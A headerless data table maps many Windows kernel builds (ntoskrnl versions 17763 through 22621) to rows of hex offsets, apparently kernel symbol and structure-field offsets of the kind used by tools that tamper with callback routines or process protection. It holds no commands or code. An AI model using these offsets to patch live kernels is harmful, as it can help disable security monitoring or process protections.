+ntoskrnl_17763-2989.exe,4d6880,4d6a80,4d6680,6ca,407450,20,60,53f2d0,53f2f8,c8,40ac80 +ntoskrnl_17763-3046.exe,4d6840,4d6a40,4d6640,6ca,407430,20,60,53f2d0,53f2f8,c8,40ac60 +ntoskrnl_17763-3165.exe,4d6b40,4d6740,4d6940,6ca,407498,20,60,53f2d0,53f2f8,c8,40ac80 +ntoskrnl_17763-3232.exe,4d6b40,4d6740,4d6940,6ca,407498,20,60,53f2d0,53f2f8,c8,40ac80 +ntoskrnl_17763-3287.exe,4d6a80,4d6680,4d6880,6ca,407458,20,60,53f2d0,53f2f8,c8,40ac40 +ntoskrnl_17763-3346.exe,4d6940,4d6b40,4d6740,6ca,407450,20,60,53f2d0,53f2f8,c8,40ac80 +ntoskrnl_17763-3406.exe,4d6940,4d6b40,4d6740,6ca,407450,20,60,53f2d0,53f2f8,c8,40ac80 +ntoskrnl_17763-3469.exe,4d6900,4d6b00,4d6700,6ca,407430,20,60,53f2d0,53f2f8,c8,40ac60 +ntoskrnl_17763-3532.exe,4d6880,4d6a80,4d6680,6ca,407480,20,60,53f2d0,53f2f8,c8,40ac40 +ntoskrnl_17763-3534.exe,4d6880,4d6a80,4d6680,6ca,407480,20,60,53f2d0,53f2f8,c8,40ac40 +ntoskrnl_17763-3650.exe,4d8b00,4d8700,4d8900,6ca,409440,20,60,5412d0,5412f8,c8,40cc00 +ntoskrnl_17763-3770.exe,4d8a00,4d8600,4d8800,6ca,409418,20,60,5412d0,5412f8,c8,40cc60 +ntoskrnl_17763-3772.exe,4d8a00,4d8600,4d8800,6ca,409418,20,60,5412d0,5412f8,c8,40cc60 +ntoskrnl_17763-3887.exe,4d8a00,4d8600,4d8800,6ca,409418,20,60,5412d0,5412f8,c8,40cc60 +ntoskrnl_17763-4010.exe,4d8b00,4d8700,4d8900,6ca,409440,20,60,5412d0,5412f8,c8,40cc00 +ntoskrnl_17763-4131.exe,4d7980,4d7b80,4d7780,6ca,408458,20,60,53f2d0,53f2f8,c8,40bc40 +ntoskrnl_17763-4252.exe,4d89c0,4d8bc0,4d87c0,6ca,409438,20,60,5402d0,5402f8,c8,40cc80 +ntoskrnl_17763-4377.exe,4d89c0,4d8bc0,4d87c0,6ca,409438,20,60,5402d0,5402f8,c8,40cc80 +ntoskrnl_17763-4644.exe,4d8900,4d8b00,4d8700,6ca,409458,20,60,5402d0,5402f8,c8,40cca0 +ntoskrnl_17763-4737.exe,4d8940,4d8b40,4d8740,6ca,409478,20,60,5412d0,5412f8,c8,40cc40 +ntoskrnl_17763-4851.exe,4d8c00,4d8800,4d8a00,6ca,4094b8,20,60,5412d0,5412f8,c8,40cca0 +ntoskrnl_17763-4974.exe,4d8b40,4d8740,4d8940,6ca,409478,20,60,5402d0,5402f8,c8,40cc60 +ntoskrnl_18362-30.exe,500d60,500960,500b60,6fa,42fa40,20,50,56f390,56f3b8,c8,433200 +ntoskrnl_18362-116.exe,500de0,5009e0,500be0,6fa,42fa48,20,50,56f390,56f3b8,c8,433260 +ntoskrnl_18362-145.exe,500de0,5009e0,500be0,6fa,42f9e8,20,50,56f390,56f3b8,c8,433220 +ntoskrnl_18362-207.exe,500de0,5009e0,500be0,6fa,42fa48,20,50,56f390,56f3b8,c8,433260 +ntoskrnl_18362-239.exe,500de0,5009e0,500be0,6fa,42fa48,20,50,56f390,56f3b8,c8,433260 +ntoskrnl_18362-267.exe,503f60,503b60,503d60,6fa,432c60,20,50,572390,5723b8,c8,436420 +ntoskrnl_18362-295.exe,503fa0,503ba0,503da0,6fa,432c48,20,50,572390,5723b8,c8,436460 +ntoskrnl_18362-329.exe,504ee0,5050e0,504ce0,6fa,433c28,20,50,573390,5733b8,c8,437420 +ntoskrnl_18362-356.exe,505060,504c60,504e60,6fa,433c90,20,50,573390,5733b8,c8,4374a0 +ntoskrnl_18362-357.exe,505060,504c60,504e60,6fa,433c90,20,50,573390,5733b8,c8,4374a0 +ntoskrnl_18362-387.exe,505fe0,505be0,505de0,6fa,434c38,20,50,574390,5743b8,c8,438400 +ntoskrnl_18362-388.exe,505fe0,505be0,505de0,6fa,434c38,20,50,574390,5743b8,c8,438400 +ntoskrnl_18362-418.exe,505ee0,5060e0,505ce0,6fa,434c58,20,50,574390,5743b8,c8,438460 +ntoskrnl_18362-449.exe,505da0,505fa0,505ba0,6fa,434c58,20,50,574390,5743b8,c8,438420 +ntoskrnl_18362-476.exe,506060,505c60,505e60,6fa,434c78,20,50,574390,5743b8,c8,438460 +ntoskrnl_18362-535.exe,506020,505c20,505e20,6fa,434c78,20,50,574390,5743b8,c8,438420 +ntoskrnl_18362-592.exe,506060,505c60,505e60,6fa,434c80,20,50,574390,5743b8,c8,438440 +ntoskrnl_18362-628.exe,506060,505c60,505e60,6fa,434c78,20,50,574390,5743b8,c8,438440 +ntoskrnl_18362-657.exe,505e60,506060,505c60,6fa,434c78,20,50,574390,5743b8,c8,438460 +ntoskrnl_18362-693.exe,505de0,505fe0,505be0,6fa,434c38,20,60,574390,5743b8,c8,4383e0 +ntoskrnl_18362-719.exe,505e20,506020,505c20,6fa,434c78,20,60,574390,5743b8,c8,438420 +ntoskrnl_18362-720.exe,505e20,506020,505c20,6fa,434c78,20,60,574390,5743b8,c8,438420 +ntoskrnl_18362-752.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60,574390,5743b8,c8,438480 +ntoskrnl_18362-753.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60,574390,5743b8,c8,438480 +ntoskrnl_18362-778.exe,505e60,506060,505c60,6fa,434c70,20,60,574390,5743b8,c8,438460 +ntoskrnl_18362-815.exe,505e60,506060,505c60,6fa,434c70,20,60,574390,5743b8,c8,438460 +ntoskrnl_18362-836.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60,574390,5743b8,c8,438480 +ntoskrnl_18362-900.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60,574390,5743b8,c8,4384a0 +ntoskrnl_18362-904.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60,574390,5743b8,c8,4384a0 +ntoskrnl_18362-959.exe,505ea0,5060a0,505ca0,6fa,434cb8,20,60,574390,5743b8,c8,4384a0 +ntoskrnl_18362-997.exe,505e60,506060,505c60,6fa,434c78,20,60,574390,5743b8,c8,438460 +ntoskrnl_18362-1016.exe,505fa0,505ba0,505da0,6fa,434bf8,20,60,574390,5743b8,c8,4383a0 +ntoskrnl_18362-1049.exe,503fe0,503be0,503de0,6fa,432c38,20,60,572390,5723b8,c8,4363e0 +ntoskrnl_18362-1082.exe,503fa0,503ba0,503da0,6fa,432bf8,20,60,572390,5723b8,c8,4363a0 +ntoskrnl_18362-1110.exe,503fa0,503ba0,503da0,6fa,432c18,20,60,572390,5723b8,c8,4363c0 +ntoskrnl_18362-1139.exe,5040a0,503ca0,503ea0,6fa,432c98,20,60,572390,5723b8,c8,436480 +ntoskrnl_18362-1171.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8,436480 +ntoskrnl_18362-1198.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8,436480 +ntoskrnl_18362-1237.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8,436480 +ntoskrnl_18362-1256.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8,436480 +ntoskrnl_18362-1316.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8,436480 +ntoskrnl_18362-1350.exe,503b60,503d60,503960,6fa,432bf8,20,60,572390,5723b8,c8,436420 +ntoskrnl_18362-1377.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8,436420 +ntoskrnl_18362-1379.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8,436420 +ntoskrnl_18362-1411.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8,436420 +ntoskrnl_18362-1440.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8,436420 +ntoskrnl_18362-1441.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8,436420 +ntoskrnl_18362-1443.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8,436420 +ntoskrnl_18362-1474.exe,503ba0,503da0,5039a0,6fa,432c38,20,60,572390,5723b8,c8,436460 +ntoskrnl_18362-1500.exe,503b60,503d60,503960,6fa,432c18,20,60,572390,5723b8,c8,436440 +ntoskrnl_18362-1533.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8,436440 +ntoskrnl_18362-1556.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8,436440 +ntoskrnl_18362-1593.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8,436440 +ntoskrnl_18362-1621.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8,436440 +ntoskrnl_18362-1646.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8,436440 +ntoskrnl_18362-1679.exe,502da0,5029a0,502ba0,6fa,431bf8,20,60,571390,5713b8,c8,4353e0 +ntoskrnl_18362-1734.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8,436420 +ntoskrnl_18362-1801.exe,503ce0,503ee0,503ae0,6fa,432c38,20,60,572390,5723b8,c8,436460 +ntoskrnl_18362-1854.exe,503ba0,503da0,5039a0,6fa,432c58,20,60,572390,5723b8,c8,436420 +ntoskrnl_18362-1916.exe,503ba0,503da0,5039a0,6fa,432c50,20,60,572390,5723b8,c8,436400 +ntoskrnl_18362-1977.exe,503ba0,503da0,5039a0,6fa,432c50,20,60,572390,5723b8,c8,436400 +ntoskrnl_18362-2037.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8,436400 +ntoskrnl_18362-2039.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8,436400 +ntoskrnl_18362-2094.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8,436400 +ntoskrnl_18362-2158.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8,436400 +ntoskrnl_18362-2212.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8,436400 +ntoskrnl_18362-2274.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8,436400 +ntoskrnl_19041-264.exe,cec060,cec260,cebe60,87a,c19858,20,60,cfb410,cfb440,c8,c1d960 +ntoskrnl_19041-329.exe,cec320,cebf20,cec120,87a,c19898,20,60,cfb410,cfb440,c8,c1d940 +ntoskrnl_19041-331.exe,cec320,cebf20,cec120,87a,c19898,20,60,cfb410,cfb440,c8,c1d940 +ntoskrnl_19041-388.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60,cfb410,cfb440,c8,c1d9a0 +ntoskrnl_19041-423.exe,cec160,cec360,cebf60,87a,c198b8,20,60,cfb410,cfb440,c8,c1da60 +ntoskrnl_19041-450.exe,cec320,cebf20,cec120,87a,c198b8,20,60,cfb410,cfb440,c8,c1d9a0 +ntoskrnl_19041-488.exe,cec220,cec420,cec020,87a,c19918,20,60,cfc410,cfc440,c8,c1d9c0 +ntoskrnl_19041-508.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60,cfb410,cfb440,c8,c1d9a0 +ntoskrnl_19041-546.exe,cec420,cec020,cec220,87a,c19938,20,60,cfc410,cfc440,c8,c1d9e0 +ntoskrnl_19041-572.exe,cec420,cec020,cec220,87a,c19938,20,60,cfc410,cfc440,c8,c1d9e0 +ntoskrnl_19041-610.exe,cec220,cec420,cec020,87a,c19978,20,60,cfc410,cfc440,c8,c1da40 +ntoskrnl_19041-630.exe,cec220,cec420,cec020,87a,c19978,20,60,cfc410,cfc440,c8,c1da40 +ntoskrnl_19041-631.exe,cec220,cec420,cec020,87a,c19978,20,60,cfc410,cfc440,c8,c1da40 +ntoskrnl_19041-662.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60,cfb410,cfb440,c8,c1d9e0 +ntoskrnl_19041-685.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60,cfb410,cfb440,c8,c1d9e0 +ntoskrnl_19041-746.exe,cebfe0,cec3e0,cec1e0,87a,c198f8,20,60,cfb410,cfb440,c8,c1da00 +ntoskrnl_19041-789.exe,cec220,cec620,cec420,87a,c19998,20,60,cfc410,cfc440,c8,c1da80 +ntoskrnl_19041-804.exe,cec420,cec220,cec020,87a,c19918,20,60,cfc410,cfc440,c8,c1da40 +ntoskrnl_19041-844.exe,cec660,cec460,cec260,87a,c19fa8,20,60,cfc410,cfc440,c8,c1daa0 +ntoskrnl_19041-867.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60,cfc410,cfc440,c8,c1daa0 +ntoskrnl_19041-868.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60,cfc410,cfc440,c8,c1daa0 +ntoskrnl_19041-870.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60,cfc410,cfc440,c8,c1daa0 +ntoskrnl_19041-906.exe,cec5e0,cec3e0,cec1e0,87a,c199d0,20,60,cfc410,cfc440,c8,c1db00 +ntoskrnl_19041-928.exe,cec520,cec320,cec120,87a,c19950,20,60,cfc410,cfc440,c8,c1da60 +ntoskrnl_19041-964.exe,cec0e0,cebee0,cec2e0,87a,c19d38,20,60,cfb410,cfb440,c8,c1d840 +ntoskrnl_19041-985.exe,cec360,cec160,cebf60,87a,c19d78,20,60,cfb410,cfb440,c8,c1d880 +ntoskrnl_19041-1023.exe,cec460,cec260,cec060,87a,c19db8,20,60,cfc410,cfc440,c8,c1d8a0 +ntoskrnl_19041-1052.exe,cebfe0,cec3e0,cec1e0,87a,c19790,20,60,cfc410,cfc440,c8,c1d8c0 +ntoskrnl_19041-1055.exe,cec020,cec420,cec220,87a,c19790,20,60,cfc410,cfc440,c8,c1d8e0 +ntoskrnl_19041-1081.exe,cec1e0,cebfe0,cec3e0,87a,c19758,20,60,cfc410,cfc440,c8,c1d880 +ntoskrnl_19041-1082.exe,cec420,cec220,cec020,87a,c19758,20,60,cfc410,cfc440,c8,c1d880 +ntoskrnl_19041-1083.exe,cec420,cec220,cec020,87a,c19758,20,60,cfc410,cfc440,c8,c1d880 +ntoskrnl_19041-1110.exe,cec120,cebf20,cec320,87a,c197f8,20,60,cfb410,cfb440,c8,c1d900 +ntoskrnl_19041-1151.exe,cec320,cec120,cebf20,87a,c197c0,20,60,cfb410,cfb440,c8,c1d8c0 +ntoskrnl_19041-1165.exe,cec2e0,cec0e0,cebee0,87a,c197a0,20,60,cfb410,cfb440,c8,c1d8a0 +ntoskrnl_19041-1202.exe,cec320,cec120,cebf20,87a,c197d0,20,60,cfb410,cfb440,c8,c1d8c0 +ntoskrnl_19041-1237.exe,cec320,cec120,cebf20,87a,c197d0,20,60,cfb410,cfb440,c8,c1d8c0 +ntoskrnl_19041-1266.exe,cec3a0,cec1a0,cebfa0,87a,c19770,20,60,cfc410,cfc440,c8,c1d880 +ntoskrnl_19041-1288.exe,cec1a0,cebfa0,cec3a0,87a,c19790,20,60,cfc410,cfc440,c8,c1d880 +ntoskrnl_19041-1320.exe,cec4e0,cec2e0,cec0e0,87a,c197c0,20,60,cfc410,cfc440,c8,c1d8a0 +ntoskrnl_19041-1348.exe,cec4e0,cec2e0,cec0e0,87a,c197c0,20,60,cfc410,cfc440,c8,c1d8a0 +ntoskrnl_19041-1387.exe,cec1a0,cec3a0,cebfa0,87a,c197a0,20,60,cfc410,cfc440,c8,c1d880 +ntoskrnl_19041-1415.exe,cec1e0,cec3e0,cebfe0,87a,c197c0,20,60,cfc410,cfc440,c8,c1d8a0 +ntoskrnl_19041-1466.exe,cec020,cec220,cec420,87a,c19780,20,60,cfc410,cfc440,c8,c1d8a0 +ntoskrnl_19041-1469.exe,cec020,cec220,cec420,87a,c19780,20,60,cfc410,cfc440,c8,c1d8a0 +ntoskrnl_19041-1503.exe,cebfa0,cec3a0,cec1a0,87a,c197a0,20,60,cfb410,cfb440,c8,c1d8c0 +ntoskrnl_19041-1526.exe,cec4e0,cec2e0,cec0e0,87a,c197a0,20,60,cfc410,cfc440,c8,c1d8a0 +ntoskrnl_19041-1566.exe,cec3e0,cec1e0,cebfe0,87a,c197f8,20,60,cfb410,cfb440,c8,c1d8c0 +ntoskrnl_19041-1586.exe,cec3e0,cec1e0,cebfe0,87a,c197f8,20,60,cfb410,cfb440,c8,c1d8c0 +ntoskrnl_19041-1620.exe,cec460,cec260,cec060,87a,c19dc8,20,60,cfc410,cfc440,c8,c1d8a0 +ntoskrnl_19041-1645.exe,cec3a0,cec1a0,cebfa0,87a,c19de8,20,60,cfc410,cfc440,c8,c1d8c0 +ntoskrnl_19041-1682.exe,cec460,cec260,cec060,87a,c19dc8,20,60,cfc410,cfc440,c8,c1d880 +ntoskrnl_19041-1706.exe,cec260,cec060,cec460,87a,c19e08,20,60,cfc410,cfc440,c8,c1d8c0 +ntoskrnl_19041-1708.exe,cec460,cec260,cec060,87a,c19de8,20,60,cfc410,cfc440,c8,c1d8a0 +ntoskrnl_19041-1741.exe,cebf60,cec360,cec160,87a,c19770,20,60,cfb410,cfb440,c8,c1d8a0 +ntoskrnl_19041-1766.exe,cec4a0,cec2a0,cec0a0,87a,c19810,20,60,cfc410,cfc440,c8,c1d900 +ntoskrnl_19041-1806.exe,cec0e0,cec4e0,cec2e0,87a,c19df8,20,60,cfc410,cfc440,c8,c1d900 +ntoskrnl_19041-1826.exe,cec3e0,cec1e0,cebfe0,87a,c19df8,20,60,cfc410,cfc440,c8,c1d900 +ntoskrnl_19041-1865.exe,cec120,cec520,cec320,87a,c19de0,20,60,cfc410,cfc440,c8,c1d8e0 +ntoskrnl_19041-1889.exe,cec060,cec460,cec260,87a,c19dd8,20,60,cfc410,cfc440,c8,c1d8e0 +ntoskrnl_19041-1949.exe,cec460,cec260,cec060,87a,c19790,20,60,cfc410,cfc440,c8,c1d8a0 +ntoskrnl_19041-2006.exe,cec420,cec220,cec020,87a,c19d98,20,60,cfc410,cfc440,c8,c1d880 +ntoskrnl_19041-2075.exe,cec0a0,cec4a0,cec2a0,87a,c19da8,20,60,cfc410,cfc440,c8,c1d860 +ntoskrnl_19041-2130.exe,cec420,cec220,cec020,87a,c19790,20,60,cfc410,cfc440,c8,c1d8a0 +ntoskrnl_19041-2193.exe,cec020,cec420,cec220,87a,c197f8,20,60,cfc410,cfc440,c8,c1d940 +ntoskrnl_19041-2194.exe,cec420,cec220,cec020,87a,c197f8,20,60,cfc410,cfc440,c8,c1d940 +ntoskrnl_19041-2251.exe,cec1e0,cebfe0,cec3e0,87a,c19838,20,60,cfc410,cfc440,c8,c1d980 +ntoskrnl_19041-2311.exe,cec420,cec220,cec020,87a,c19818,20,60,cfc410,cfc440,c8,c1d900 +ntoskrnl_19041-2364.exe,cec460,cec260,cec060,87a,c197d8,20,60,cfc410,cfc440,c8,c1d8c0 +ntoskrnl_19041-2486.exe,cec4a0,cec2a0,cec0a0,87a,c197b8,20,60,cfc410,cfc440,c8,c1d8c0 +ntoskrnl_19041-2546.exe,cec120,cebf20,cec320,87a,c197d8,20,60,cfb410,cfb440,c8,c1d8c0 +ntoskrnl_19041-2604.exe,cec120,cebf20,cec320,87a,c19798,20,60,cfb410,cfb440,c8,c1d8c0 +ntoskrnl_19041-2673.exe,cec3e0,cec1e0,cebfe0,87a,c197d8,20,60,cfc410,cfc440,c8,c1d900 +ntoskrnl_19041-2728.exe,cec520,cec320,cec120,87a,c197b8,20,60,cfc410,cfc440,c8,c1d8e0 +ntoskrnl_19041-2788.exe,cec0e0,cec4e0,cec2e0,87a,c19df0,20,60,cfc410,cfc440,c8,c1d900 +ntoskrnl_19041-2846.exe,cec120,cec520,cec320,87a,c19e50,20,60,cfc410,cfc440,c8,c1d940 +ntoskrnl_19041-2913.exe,cec0a0,cec4a0,cec2a0,87a,c19e68,20,60,cfc410,cfc440,c8,c1d940 +ntoskrnl_19041-2965.exe,cec0a0,cec4a0,cec2a0,87a,c19e28,20,60,cfc410,cfc440,c8,c1d940 +ntoskrnl_19041-3031.exe,cec2a0,cec0a0,cec4a0,87a,c19e30,20,60,cfc410,cfc440,c8,c1d900 +ntoskrnl_19041-3086.exe,cec0e0,cec4e0,cec2e0,87a,c19e28,20,60,cfc410,cfc440,c8,c1d900 +ntoskrnl_19041-3155.exe,cec4e0,cec2e0,cec0e0,87a,c19e30,20,60,cfc410,cfc440,c8,c1d940 +ntoskrnl_19041-3208.exe,cec2a0,cec0a0,cec4a0,87a,c19e08,20,60,cfc410,cfc440,c8,c1d8e0 +ntoskrnl_19041-3271.exe,cec420,cec220,cec620,87a,c19838,20,60,cfc410,cfc440,c8,c1d980 +ntoskrnl_19041-3324.exe,cec620,cec420,cec220,87a,c19818,20,60,cfc410,cfc440,c8,c1d960 +ntoskrnl_19041-3393.exe,cec2e0,cec0e0,cec4e0,87a,c19838,20,60,cfc410,cfc440,c8,c1d940 +ntoskrnl_19041-3448.exe,cec460,cec260,cec060,87a,c19858,20,60,cfc410,cfc440,c8,c1d960 +ntoskrnl_19041-3516.exe,cec1a0,cec5a0,cec3a0,87a,c197f8,20,60,cfc410,cfc440,c8,c1d900 +ntoskrnl_19041-3570.exe,cec660,cec460,cec260,87a,c197d8,20,60,cfc410,cfc440,c8,c1d900 +ntoskrnl_19041-3636.exe,cec5e0,cec3e0,cec1e0,87a,c197b8,20,60,cfc410,cfc440,c8,c1d8c0 +ntoskrnl_22000-194.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60,d06890,d068c0,c8,c1b7c0 +ntoskrnl_22000-258.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60,d06890,d068c0,c8,c1b7c0 +ntoskrnl_22000-282.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60,d06890,d068c0,c8,c1b7e0 +ntoskrnl_22000-318.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60,d06890,d068c0,c8,c1b7e0 +ntoskrnl_22000-348.exe,cf5e00,cf6200,cf6000,87a,c15d40,20,60,d06890,d068c0,c8,c1b7e0 +ntoskrnl_22000-376.exe,cf5e00,cf6200,cf6000,87a,c15d40,20,60,d06890,d068c0,c8,c1b7e0 +ntoskrnl_22000-434.exe,cf5dc0,cf61c0,cf5fc0,87a,c163b8,20,60,d06890,d068c0,c8,c1b7c0 +ntoskrnl_22000-438.exe,cf5e00,cf6200,cf6000,87a,c16398,20,60,d06890,d068c0,c8,c1b7a0 +ntoskrnl_22000-469.exe,cf6140,cf6340,cf5f40,87a,c15d38,20,60,d06890,d068c0,c8,c1b840 +ntoskrnl_22000-493.exe,cf6140,cf6340,cf5f40,87a,c15d58,20,60,d06890,d068c0,c8,c1b840 +ntoskrnl_22000-527.exe,cf6300,cf5f00,cf6100,87a,c15d58,20,60,d06890,d068c0,c8,c1b880 +ntoskrnl_22000-556.exe,cf62c0,cf5ec0,cf60c0,87a,c15d78,20,60,d06890,d068c0,c8,c1b8a0 +ntoskrnl_22000-593.exe,cf63c0,cf61c0,cf5fc0,87a,c15d78,20,60,d06890,d068c0,c8,c1b840 +ntoskrnl_22000-613.exe,cf6340,cf6140,cf5f40,87a,c15d78,20,60,d06890,d068c0,c8,c1b800 +ntoskrnl_22000-652.exe,cf62c0,cf60c0,cf5ec0,87a,c163d8,20,60,d06890,d068c0,c8,c1b820 +ntoskrnl_22000-675.exe,cf6300,cf6100,cf5f00,87a,c163d8,20,60,d06890,d068c0,c8,c1b7c0 +ntoskrnl_22000-739.exe,cf62c0,cf60c0,cf5ec0,87a,c163c0,20,60,d06890,d068c0,c8,c1b760 +ntoskrnl_22000-778.exe,cf6180,cf5f80,cf5d80,87a,c163b8,20,60,d06890,d068c0,c8,c1b7a0 +ntoskrnl_22000-795.exe,cf6180,cf5f80,cf5d80,87a,c163b8,20,60,d06890,d068c0,c8,c1b7a0 +ntoskrnl_22000-832.exe,cf6380,cf6180,cf5f80,87a,c163a8,20,60,d06890,d068c0,c8,c1b7c0 +ntoskrnl_22000-856.exe,cf6300,cf6100,cf5f00,87a,c16438,20,60,d06890,d068c0,c8,c1b820 +ntoskrnl_22000-918.exe,cf6440,cf6240,cf6040,87a,c15d50,20,60,d06890,d068c0,c8,c1b7e0 +ntoskrnl_22000-978.exe,cf6440,cf6240,cf6040,87a,c15d50,20,60,d06890,d068c0,c8,c1b7e0 +ntoskrnl_22000-1042.exe,cf6300,cf6100,cf5f00,87a,c163d0,20,60,d06890,d068c0,c8,c1b840 +ntoskrnl_22000-1098.exe,cf63c0,cf61c0,cf5fc0,87a,c163e0,20,60,d06890,d068c0,c8,c1b7c0 +ntoskrnl_22000-1165.exe,cf63c0,cf61c0,cf5fc0,87a,c16398,20,60,d06890,d068c0,c8,c1b7c0 +ntoskrnl_22000-1219.exe,cf6340,cf6140,cf5f40,87a,c16398,20,60,d06890,d068c0,c8,c1b780 +ntoskrnl_22000-1281.exe,cf6000,cf6200,cf6400,87a,c15d78,20,60,d06890,d068c0,c8,c1b840 +ntoskrnl_22000-1335.exe,cf6100,cf6300,cf5f00,87a,c15db8,20,60,d06890,d068c0,c8,c1b820 +ntoskrnl_22000-1455.exe,cf5fc0,cf61c0,cf5dc0,87a,c15cd8,20,60,d06890,d068c0,c8,c1b720 +ntoskrnl_22000-1516.exe,cf5f40,cf6140,cf6340,87a,c15d58,20,60,d06890,d068c0,c8,c1b820 +ntoskrnl_22000-1574.exe,cf5f80,cf6180,cf6380,87a,c163f8,20,60,d06890,d068c0,c8,c1b840 +ntoskrnl_22000-1641.exe,cf5fc0,cf61c0,cf63c0,87a,c163d8,20,60,d06890,d068c0,c8,c1b820 +ntoskrnl_22000-1696.exe,cf6200,cf6400,cf6000,87a,c163f8,20,60,d06890,d068c0,c8,c1b840 +ntoskrnl_22000-1761.exe,cf62c0,cf64c0,cf60c0,87a,c163b8,20,60,d06890,d068c0,c8,c1b7e0 +ntoskrnl_22000-1817.exe,cf5f80,cf6180,cf6380,87a,c16408,20,60,d06890,d068c0,c8,c1b840 +ntoskrnl_22000-1880.exe,cf5f80,cf6180,cf6380,87a,c15d78,20,60,d06890,d068c0,c8,c1b800 +ntoskrnl_22000-1936.exe,cf6180,cf6380,cf5f80,87a,c15d38,20,60,d06890,d068c0,c8,c1b7a0 +ntoskrnl_22000-2003.exe,cf61c0,cf63c0,cf5fc0,87a,c15d38,20,60,d06890,d068c0,c8,c1b7e0 +ntoskrnl_22000-2057.exe,cf6040,cf6240,cf6440,87a,c15d58,20,60,d06890,d068c0,c8,c1b860 +ntoskrnl_22000-2124.exe,cf5fc0,cf61c0,cf63c0,87a,c15d38,20,60,d06890,d068c0,c8,c1b7c0 +ntoskrnl_22000-2176.exe,cf5fc0,cf61c0,cf63c0,87a,c15d18,20,60,d06890,d068c0,c8,c1b7c0 +ntoskrnl_22000-2245.exe,cf6000,cf6200,cf6400,87a,c15d58,20,60,d06890,d068c0,c8,c1b820 +ntoskrnl_22000-2295.exe,cf61c0,cf63c0,cf5fc0,87a,c15d38,20,60,d06890,d068c0,c8,c1b7c0 +ntoskrnl_22000-2360.exe,cf64c0,cf60c0,cf62c0,87a,c15d58,20,60,d06890,d068c0,c8,c1b820 +ntoskrnl_22000-2416.exe,cf6100,cf6300,cf6500,87a,c15df8,20,60,d06890,d068c0,c8,c1b8c0 +ntoskrnl_22000-2482.exe,cf6440,cf6040,cf6240,87a,c15d58,20,60,d06890,d068c0,c8,c1b800 +ntoskrnl_22000-2538.exe,cf6240,cf6440,cf6040,87a,c15df8,20,60,d06890,d068c0,c8,c1b8a0 +ntoskrnl_22621-382.exe,d0bb60,d0bd60,d0bf60,87a,c317f8,20,60,d1da18,d1da40,c8,c37480 +ntoskrnl_22621-525.exe,d0bbe0,d0bde0,d0bfe0,87a,c31f90,20,60,d1da18,d1da40,c8,c37440 +ntoskrnl_22621-608.exe,d0bd20,d0bf20,d0c120,87a,c31fb0,20,60,d1da18,d1da40,c8,c37460 +ntoskrnl_22621-674.exe,d0bc20,d0be20,d0c020,87a,c31f70,20,60,d1da18,d1da40,c8,c37420 +ntoskrnl_22621-675.exe,d0bc20,d0be20,d0c020,87a,c31f70,20,60,d1da18,d1da40,c8,c37420 +ntoskrnl_22621-755.exe,d0bae0,d0bce0,d0bee0,87a,c31f40,20,60,d1da18,d1da40,c8,c37420 +ntoskrnl_22621-819.exe,d0bde0,d0bfe0,d0bbe0,87a,c31f20,20,60,d1da18,d1da40,c8,c37420 +ntoskrnl_22621-900.exe,d0c5e0,d0c1e0,d0c3e0,87a,c31818,20,60,d1da18,d1da40,c8,c37440 +ntoskrnl_22621-963.exe,d0c0e0,d0c2e0,d0c4e0,87a,c317b8,20,60,d1da18,d1da40,c8,c37400 +ntoskrnl_22621-1105.exe,d0c160,d0c360,d0c560,87a,c317b8,20,60,d1da18,d1da40,c8,c37420 +ntoskrnl_22621-1194.exe,d0c0a0,d0c2a0,d0c4a0,87a,c317f8,20,60,d1da18,d1da40,c8,c37400 +ntoskrnl_22621-1265.exe,d0c060,d0c260,d0c460,87a,c317b8,20,60,d1da18,d1da40,c8,c373c0 +ntoskrnl_22621-1344.exe,d0c5a0,d0c1a0,d0c3a0,87a,c31f98,20,60,d1da18,d1da40,c8,c37420 +ntoskrnl_22621-1413.exe,d0c5a0,d0c1a0,d0c3a0,87a,c31f98,20,60,d1da18,d1da40,c8,c37420 +ntoskrnl_22621-1485.exe,d0c5e0,d0c1e0,d0c3e0,87a,c31fc0,20,60,d1da18,d1da40,c8,c37500 